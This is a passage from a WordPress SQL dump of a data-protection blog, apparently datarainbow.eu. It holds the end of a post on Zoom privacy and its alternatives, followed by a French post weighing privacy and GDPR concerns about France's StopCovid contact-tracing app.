href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bigbluebutton.org/&amp;usg=ALkJrhgiJHoOpiXLRwtPUokndTcDUSDhDQ\">BigBlueButton&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.visio-avocats.com/&amp;usg=ALkJrhgbfDjM6a5KFZ1o1vRov5xYyCQmsg\">Video lawyers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://pages.bluejeans.com/video-conferencing-trial.html%3Futm_source%3Dgoogle%26utm_medium%3Dcpc%26personsource%3Dpaid_search%26utm_content%3DTrialLP%26utm_term%3D%252Bbluejeans%2520%252Bconference%26utm_campaign%3DEMEA%2520-%2520Branded%2520General%26utm_adgroup%3DEMEA%2520-%2520Branded%2520General%2520-%2520BlueJeans%2520Business&amp;usg=ALkJrhiHAfI7XDGvv4y-Nwy400-NlpnTSQ\">BlueJeans&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.skype.com/en/&amp;usg=ALkJrhizHn8lSLSgSgdL9_wSc3_6Z8xOvw\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.gotomeeting.com/en-gb/lp/easy-online-meetings%3Fcid%3Dg2m_emea_ggs_cpc_brand_gotomeeting_e&amp;usg=ALkJrhinQNUNLaxB4Hi4abKNb18ajKaV5w\">GotoMeeting&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://products.office.com/en-gb/microsoft-teams/group-chat-software&amp;usg=ALkJrhjsfwbJiehQtwCKu4ps3Fo6jXwFCw\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html%3Fdtid%3Dpseggl000183%26oid%3Dtrlco020841%26ccid%3Dcc000703%26gclsrc%3Dds%26gclsrc%3Dds&amp;usg=ALkJrhgyDNBVTJ1Vi74treqMrTb29JJo0Q\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651} -->\n<figure class=\"wp-block-image\"><img src=\"https://translate.googleusercontent.com/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">Your&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf&amp;usg=ALkJrhgEZJAXGwU4Hf5Zfh4Fos4b2xzNbA\">NOYB comparison chart&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">&nbsp;&nbsp;- For the version with active links,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">comparative table produced by the&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf&amp;usg=ALkJrhgsZzuNmOIfnfTTrvjZnkHOfaa8yQ\">Dutch&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">Data Protection Authority</a>&nbsp;translated by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/PiracyByDesign&amp;usg=ALkJrhiLaTXf06F1PcEos6Yl4uIsoL05pQ\">Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:list -->\n<ul><li>CONTINUE TO FOLLOW THIS TRAD IN&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465&amp;usg=ALkJrhjopVjOOzHXwujuTUoOzhuCTJXpmg\">PEARLTREES</a>&nbsp;ACCOUNT&nbsp;ON WHICH THE LATEST NEWS AND ARTICLE ON THIS SUBJECT ARE GROUPED.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>If you still wanted to continue using this application, here are some tips on how to use Zoom more safely:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe&amp;usg=ALkJrhgLStIdsKDBr7erTXFPJYlksZC9TQ\">How to keep your Virtual (Zoom) Meetings safe</a></em><em>&nbsp;:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/data-protection-commissioner-of-ireland/&amp;usg=ALkJrhi9Jb2JyerCKcuopWGH77wZYYNulA\"><strong>Data Protection Commission Ireland</strong></a>. In light of the recent increase in remote working, necessitated by COVID-19 mitigation measures, as well as the increased numbers keeping in touch online with friends and family, the number of people video-conferencing and video-calling has increased dramatically. This has also resulted in people using apps and services which they might not have used before, or are now using for different reasons - ie using an app they usually use for personal purposes now for work purposes or vice versa. Concerns have been raised about how to use these technologies to keep in touch with colleagues and loved ones in a way that is safe and secure, and ensures an adequate standard of data protection.Here are some tips to help both individuals and organizations (such as employers who might introduce new or increased videoconferencing arrangements for employees) use these services in a safe manner:<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/e8mpd8n&amp;usg=ALkJrhhK9QmV_SWs00jBbpi9o4y4o6EY8A\" target=\"_blank\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://creativecommons.org/licenses/by/4.0/&amp;usg=ALkJrhhlCHDdIskVLuBz-aYeLh0JgcYicA\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>&nbsp;.POSTED IN:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/consent/&amp;usg=ALkJrhjQqCy_4ECg_ioGRT3bkIXG0zRWRA\">CONSENT</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/data-protection/&amp;usg=ALkJrhj1fXnqBuv0VEmmqWEl7bFFmHkiRw\">DATA PROTECTION</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/gdpr/&amp;usg=ALkJrhjsJ2a5Vu5OVwai3wPuh4w58NzUAQ\">GDPR</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy/&amp;usg=ALkJrhgYsHxOBfzThHiIDQAMssqFEpzNGA\">PRIVACY</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy-notice/&amp;usg=ALkJrhjvDLFpjGfSXlG4OpAEFjdAfgDEog\">PRIVACY NOTICE</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/tara-taubman-bassirian/&amp;usg=ALkJrhj-_eysplF57Qim2AwXrcoZfBIZhA\">TARA TAUBMAN-BASSIRIAN</a>&nbsp;FILED UNDER:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/video-conferencing/&amp;usg=ALkJrhhjzPhmtFc4kmyjQ8l_kH6L_tDzgQ\">VIDEO-CONFERENCING</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/zoom/&amp;usg=ALkJrhhwMu95nf7OIL2X-UfQI-XDCJqCGA\">ZOOM</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Photo by Geoff Lowe </p>\n<!-- /wp:paragraph -->','ZOOM VIDEOCONFERENCING PRIVACY AND LIABILITY','A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology .\n','publish','closed','closed','','zoom-videoconferencing-privacy-and-liability','','','2020-11-26 19:55:09','2020-11-26 19:55:09','',0,'http://datarainbow.eu/?p=688',0,'post','',0),(716,1,'2020-04-29 17:41:17','2020-04-29 16:41:17','<!-- wp:paragraph -->\n<p>Ce mardi 28 Avril 2020, le Premier Ministre Edouard Philippe a été entendu\ndevant le Sénat notamment pour le projet STOP-COVID préparant la sortie du\nconfinement imposé par la pandémie du COVID-19</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’<a href=\"https://lnkd.in/dTgWHuB\">INRIA</a> a développé le\nprotocole \"<a href=\"https://www.inria.fr/sites/default/files/2020-04/Présentation%20du%20protocole%20Robert.pdf\">Robert</a>\"- <em>ROBust and privacy-presERving proximity\nTracing protocol</em>- associé avec des acteurs publics et privés (ANSSI,\nCapgemini, Dassault Systèmes, Inserm, Lunabee Studio, Orange, Santé Publique\nFrance, Withings). Voir <a href=\"https://github.com/ROBERT-proximity-tracing/documents\">le détail du projet</a> disponible sur GitHub.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>I) Un programme commandé par un état démocratique\npour tenter de «&nbsp;tracer&nbsp;» les déplacements de ses citoyens</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce projet devrait servir de base technique à l’application “StopCovid”\nfrançaise. Un projet qui suscite beaucoup de controverses, à la fois techniques\net éthiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>Le projet retenu par le gouvernement est le modèle\ncentralisé de traçage des contacts à l’aide d’une application sur téléphones\nmobiles par Bluetooth expliqué plus en détail ci-après.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IA)-La\npandémie&nbsp;COVID et sa vitesse de propagation impose sans contestation\njustifiée une réponse forte, rapide et adaptée aux technologies, à disposition\ndu gouvernement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’économie\ndu pays a été mise à mal par le confinement, notamment contraint par des difficultés\nrévélées a posteriori sur l’état stratégique des stocks de masques\n«&nbsp;barrières&nbsp;», qui perdure depuis plusieurs semaines. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nconfinement a pu être durement vécu par les catégories sociaux-économiques les\nplus défavorisées ou celles subissant un regroupement imposé dans des habitats\ninadaptés. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les cas de violences domestiques sont en <a href=\"https://www.lemonde.fr/societe/article/2020/03/30/hausse-des-violences-conjugales-pendant-le-confinement_6034897_3224.html\">nette recrudescence</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nnombre de cas de contamination est resté en constante augmentation et le corps\nmédical au bord de la crise de nerf s’est révélé d’une exemplaire dévotion. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On se\nsouviendra que dès avant la pandémie les hôpitaux étaient déjà en grève\nprotestant de leur manque de moyens et surcharges de travail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IB)-L\'impérieuse\nnécessité de généraliser des moyens de traçage comme mesure utile parmi toutes\ncelles conseillées au gouvernement par le Haut Conseil de la Santé Publique, composé\nprincipalement de sommités médicales, et donc nécessaire pour tenter de\nrépondre à la propagation erratique de cette pandémie malgré l’atteinte que\ncette méthode à la règlementation.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il est ainsi apparu nécessaire, suivant les exemples de <a href=\"https://www.huffingtonpost.fr/entry/la-chine-lance-une-appli-pour-tracer-les-malades-du-coronavirus_fr_5e42b411c5b6bb0ffc18acfe\">la Chine</a>, de <a href=\"https://video.corriere.it/ce7597cc-6dcb-11ea-9b88-27b94f5268fe/ce7597cc-6dcb-11ea-9b88-27b94f5268fe?refresh_ce-cp\">la Corée du Sud</a> ou de <a href=\"https://www.cnet.com/news/singapores-coronavirus-playbook-how-one-country-fought-back-against-covid19-epidemic/\">Singapour</a>, de prendre des mesures de relâchement du confinement en «&nbsp;traçant&nbsp;» les cas de contacts pour éviter de dire «&nbsp;tracker&nbsp;» les citoyens. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au nom de la démocratie, refusant les methodes de régimes totalitaires, il est vite apparu nécessaire que le traçage soit volontaire et non imposé. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le géotagging\ncomme mis en place par Orange Telecom a montré les déplacements de population\nvers des zones non urbains dès l’annonce du confinement. Certaines iles de\nl’Ouest de la France ont vu leur population augmentée de 30%. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La\ngéolocalisation par GPS ne peut être anonymisée car trop souvent l’adresse\nd’habitation révèle l’identité de la personne. Est alors apparue la nécessité\nde rechercher une solution plus conforme. Lire&nbsp;: «&nbsp;<a href=\"https://www.lci.fr/high-tech/coronavirus-huit-operateurs-europeens-dont-orange-vont-fournir-les-donnees-de-localisation-de-leurs-clients-2149157.html\">Coronavirus : huit opérateurs européens,\ndont Orange, vont fournir les données de localisation de leurs clients&nbsp;</a>».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nContrôleur européen de la protection des données CEPD a publié fin mars des\ncommentaires sur le projet de la Commission européenne de collecter massivement\nles métadonnées des télécommunications pour lutter contre la pandémie de\nCOVID-19. Points clés :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>indique que les données seront anonymisées. Le CEPD\nsouligne qu\'une anonymisation efficace \"<em>nécessite plus que la simple\nsuppression des identifiants évidents tels que les numéros de téléphone et les\nnuméros IMEI</em>\". L\'agrégation est une garantie supplémentaire ;</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>II)-Comment répondre à la pandémie par des\nsolutions respectueuses des valeurs démocratiques</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La présidente de la CNIL, Mme Denis a été entendue par le Parlement puis\npar le Sénat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Tout en reconnaissant la\nlégitimité des objectifs poursuivis par le projet, la Commission tient à\nrappeler, au vu de l’urgence, que quel que soit le contexte, des garanties\nsuffisantes au regard du respect des principes fondamentaux du droit à la\nprotection des données à caractère personnel doivent être mises en œuvre.\nAinsi, elle estime que des mesures juridiques et techniques adaptées devront\nêtre prévues afin d’assurer un haut niveau de protection des données.&nbsp;</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>La Commission indique par\nailleurs que cet avis rendu dans un délai très bref et dans un contexte de\ncrise sanitaire mondiale exceptionnelle, ne préjuge en rien de l’analyse\nqu’elle produira au fond tant sur les plans juridique que technique, s’agissant\nde la mise en œuvre de manière pérenne de la Plateforme des données de\nsanté, notamment à des fins de mise à disposition des données du Système\nnational des données de santé (SNDS), ainsi que sur le décret d’application\nprévu à l’article L. 1461-7 du code de la santé publique, qui sera modifié\nsuite à l’adoption de la loi du 24 juillet 2019.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.dalloz-actualite.fr/sites/dalloz-actualite.fr/files/resources/2020/04/2020.04.23_covid19_cnnum.pdf\">Conseil National du Numerique CNNum</a>, après consultation de plusieurs\norganisations dont la CNIL, a rendu son avis favorable &nbsp;le 20 avril. Le Conseil émet 15\nrecommandations reprises par le <a href=\"https://www.numerama.com/politique/620548-stopcovid-que-conseille-le-cnnum-pour-rendre-lapplication-acceptable.html\">Numerama</a>, pour rendre l\'application StopCovid acceptable.\nL\'instance consultative se dit favorable à l\'emploi d\'un tel programme : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>«&nbsp;​Ce type d’application n’est qu’une partie de la\nréponse sanitaire ​dont l’efficacité dépendra sûrement plus des mesures de\ndistanciation sociale et de la mise à disposition de tests&nbsp;»</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Il\nest intéressant de trouver parmi les recommandations : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité l’application n’a aucune fonction de cure mais mise plutôt sur\nl’altruisme des utilisateurs à vouloir prévenir ceux avec qui ils seraient\nentrés en contact dans l’hypothèse d’un diagnostic COVID positif.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>Le coût\nde cet altruisme va être un téléphone sous connexion Bluetooth permanente qui\ndrainera la batterie et mettra la </a><a href=\"https://www.cyberscoop.com/bluetooth-exploit-jan-ruge-contact-tracing/\">sécurité des données personnelles\naccessibles</a> à\npartir du téléphone en danger – va-t-on assister à une nouvelle épidémie de\n‘poches en feu’&nbsp;du à la <a href=\"https://www.androidpit.com/phone-overheating\">chauffe\ndes batteries</a> ? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aussitôt après l’avis du CNNum, dès le dimanche 26 avril <a href=\"https://www.cnil.fr/fr/publication-de-lavis-de-la-cnil-sur-le-projet-dapplication-mobile-stopcovid\">la CNIL a publié un nouvel avis</a> à lire entre les lignes. Pour la CNIL qui\nne s’oppose pas au principe, il est important que l’adoption soit volontaire,\nque les données soient pseudonymisées, l’anonymisation ne pouvant être garantie\net donc le RGDP s’appliquera, que la collecte soit limitée au stricte nécessaire\ns’assurant qu’aucune donnée ne sera conservée après la période d’urgence. Au-delà\nde tout le principe de proportionnalité et nécessité doivent présider au choix\nde l’opération.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L’analyse du protocole\ntechnique par la Commission confirme cependant que l’application traitera bien\ndes données personnelles et sera soumise au RGPD. Elle attire l’attention sur\nles risques particuliers, notamment de banalisation, liés au développement\nd’une application de suivi qui enregistre les contacts d’une personne, parmi\nles autres utilisateurs de l’application, pendant une certaine durée.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Dans son <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/deliberation_du_24_avril_2020_portant_avis_sur_un_projet_dapplication_mobile_stopcovid.pdf\">avis du 24 Avril</a>, la CNIL &nbsp;appelait à la vigilance et\nsoulignait que l’application ne pouvait être déployée que si son utilité était\nsuffisamment avérée et si elle était intégrée dans une stratégie sanitaire\nglobale. Elle demandait certaines garanties supplémentaires. Elle insistait sur\nla nécessaire sécurité du dispositif, et faisait des préconisations techniques.\nLa CNIL rappelait surtout que l’utilisation d’applications de recherche des\ncontacts doit s’inscrire dans une stratégie sanitaire globale et appelait, sur\nce point, à une vigilance particulière contre la tentation du « <em>solutionnisme\ntechnologique</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Auditionnée par le Sénat le mercredi 15 avril, la présidente de la CNIL, <a href=\"https://www.publicsenat.fr/article/parlementaire/tracking-la-cnil-pointe-les-nombreuses-limites-de-l-application-stop-covid\">Marie-Laure Denis</a>, demandait au gouvernement que l’application de\ntraçage des malades du Covid-19 soit réellement «&nbsp;temporaire&nbsp;». Mais\nentre le peu d’équipement des personnes âgées, l’adhésion au dispositif et sa\ncombinaison avec les tests et masques, c’est son efficacité qui pose question.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Marie-Laure Denis souligne l’importance de bien définir «&nbsp;les\nfinalités&nbsp;» des objectifs, qui doivent rester «&nbsp;proportionnées&nbsp;»\nà leur atteinte. A savoir, «&nbsp;les solutions les moins intrusives&nbsp;» et\nselon «&nbsp;un caractère temporaire&nbsp;», «&nbsp;point essentiel&nbsp;».</em><em></em></li><li><em>«&nbsp;Il faut vraiment que sa durée n’excède pas la durée nécessaire au\ntraitement de la crise sanitaire&nbsp;» insiste la présidente de la Cnil, avec\n«&nbsp;une suppression de données&nbsp;». Il est ainsi «&nbsp;important qu’on\npuisse désinstaller l’appli. Ça rejoint la question du consentement&nbsp;».</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le Président du <a href=\"https://edps.europa.eu/about-edps/members-mission/supervisors_en\">European Data Protection Supervisor</a> invité par le Sénat, a adressé ses <a href=\"https://edps.europa.eu/sites/edp/files/publication/20-04-27_edps_remarks_fr_senate_en.pdf\">remarques</a> dans la soirée du 27 avril, abondant dans le sens de la CNIL et appelant à la prudence et réserves quant à l’opportunité de recourir à une mesure de traçage des populations. Insistant sur le fait que ces mesures, si elles étaient justifiées, devraient être confinées et limitées à la période d’urgence. Il rappelle par ailleurs l’importance d’une mesure commune pan-européenne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>UPDATE : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cncdh.fr/fr/publications/avis-sur-le-suivi-numerique-des-personnes\">Avis sur le suivi numérique des personnes</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La Commission nationale consultative des droits de l’homme (CNCDH) s’est autosaisie pour alerter les pouvoirs publics sur les dangers pour les droits fondamentaux de toute application de suivi de personnes et des contacts, en particulier sur le droit à la vie privée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si les avis d\'experts ont insisté sur le caractère optionnel de l\'utilisation de l\'application, s\'agissant de données de santé à caractère \'special\' au sens de l\'Art.9 [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] du RGDP, le consentement expresse est requis. Quid des employés utilisant l\'application à la demande de leur employeur sachant que le consentement ne peut être libre et admis dans le cadre des relations du travail ou l\'employeur dispose d\'un pouvoir de dissuasion ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IIA)-En l’absence d\'un système de santé cohérent et préparé à une pandémie de celle du COVID, la fin peut-elle justifier les atteintes à la vie privée&nbsp;?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La question majeure ici est de savoir si la protection des données collectées peut être d’une part garantie et d’autre part, permettre d’atteindre le but poursuivi.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A ce niveau de vitesse de propagation du virus en considération du nombre\ndéjà important de sujets infectés, malades ou porteurs sains, il est difficile\nde voir comment le traçage des contacts pourrait apporter ce que le port de masques,\nle lavage des mains, la prise de température à l’aide d’inoffensifs thermomètres\nou mieux encore, les tests de dépistages ne pourraient apporter sans poser de\nmenace quelconque sur la vie privée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au surplus, la Présidente de la CNIL a rappelé une <a>étude de l’université\nd’Oxford qui semble affirmer que le succès d’un tel traçage ne pourrait être\neffectif que si au moins 60% de la population optaient pour son application.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IIB)-La proportionnalité et la durée prévue pour\nce «&nbsp;traçage&nbsp;» démocratisé pour l’occasion devront être effectivement\nassortis de garanties très sérieuses pour lesquelles les institutions et\nautorités de surveillance des violations du RGPD se sont toutes mobilisées.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>a)-Regardons plus en détail les promesses des\nconcepteurs de cette 